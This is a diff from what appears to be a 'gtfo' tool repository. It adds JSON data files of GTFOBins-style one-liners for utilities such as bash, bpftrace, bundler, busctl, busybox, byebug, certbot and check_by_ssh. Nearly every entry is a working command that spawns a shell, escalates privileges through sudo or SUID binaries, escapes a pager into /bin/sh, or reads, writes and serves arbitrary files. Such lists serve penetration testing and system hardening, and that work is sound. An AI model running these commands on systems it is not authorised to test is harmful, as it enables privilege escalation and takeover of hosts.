"code": "bash -c 'enable -f ./lib.so x'"
|
|
56
|
+
}
|
|
57
|
+
],
|
|
58
|
+
"suid": [
|
|
59
|
+
{
|
|
60
|
+
"code": "./bash -p"
|
|
61
|
+
}
|
|
62
|
+
],
|
|
63
|
+
"sudo": [
|
|
64
|
+
{
|
|
65
|
+
"code": "sudo bash"
|
|
66
|
+
}
|
|
67
|
+
]
|
|
68
|
+
}
|
|
69
|
+
}
|
gtfo/data/bpftrace.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'"
|
|
6
|
+
},
|
|
7
|
+
{
|
|
8
|
+
"code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n"
|
|
9
|
+
},
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/bundler.json
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
6
|
+
"code": "bundler help\n!/bin/sh\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"code": "export BUNDLE_GEMFILE=x\nbundler exec /bin/sh\n"
|
|
10
|
+
},
|
|
11
|
+
{
|
|
12
|
+
"code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler exec /bin/sh\n"
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"description": "This spawns an interactive shell via 'irb'.",
|
|
16
|
+
"code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler console\nsystem('/bin/sh -c /bin/sh')\n"
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/Gemfile\ncd $TF\nbundler install\n"
|
|
20
|
+
}
|
|
21
|
+
],
|
|
22
|
+
"sudo": [
|
|
23
|
+
{
|
|
24
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
25
|
+
"code": "sudo bundler help\n!/bin/sh\n"
|
|
26
|
+
}
|
|
27
|
+
]
|
|
28
|
+
}
|
|
29
|
+
}
|
gtfo/data/busctl.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "busctl --show-machine\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo busctl --show-machine\n!/bin/sh\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/busybox.json
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "BusyBox may contain many UNIX utilities, run 'busybox --list-full' to check what GTFBins binaries are supported. Here some example.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "busybox sh"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-upload": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Serve files in the local folder running an HTTP server.",
|
|
12
|
+
"code": "busybox httpd -f -p [port] -h .\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-write": [
|
|
16
|
+
{
|
|
17
|
+
"code": "busybox sh -c 'echo \"DATA\" > [file]'\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-read": [
|
|
21
|
+
{
|
|
22
|
+
"code": "./busybox cat [file]\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"suid": [
|
|
26
|
+
{
|
|
27
|
+
"description": "It may drop the SUID privileges depending on the compilation flags and the runtime configuration.",
|
|
28
|
+
"code": "./busybox sh"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"sudo": [
|
|
32
|
+
{
|
|
33
|
+
"code": "sudo busybox sh"
|
|
34
|
+
}
|
|
35
|
+
]
|
|
36
|
+
}
|
|
37
|
+
}
|
gtfo/data/byebug.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nbyebug $TF\ncontinue\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"limited-suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\n./byebug $TF\ncontinue\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nsudo byebug $TF\ncontinue\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/cancel.json
ADDED
gtfo/data/capsh.json
ADDED
gtfo/data/cat.json
ADDED
gtfo/data/certbot.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp -d)\ncertbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n"
|
|
11
|
+
}
|
|
12
|
+
]
|
|
13
|
+
}
|
|
14
|
+
}
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"description": "The shell will only last 10 seconds.",
|
|
7
|
+
"code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
|
|
8
|
+
}
|
|
9
|
+
],
|
|
10
|
+
"sudo": [
|
|
11
|
+
{
|
|
12
|
+
"description": "The shell will only last 10 seconds.",
|
|
13
|
+
"code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
|
|
14
|
+
}
|
|
15
|
+
]
|
|
16
|
+
}
|
|
17
|
+
}
|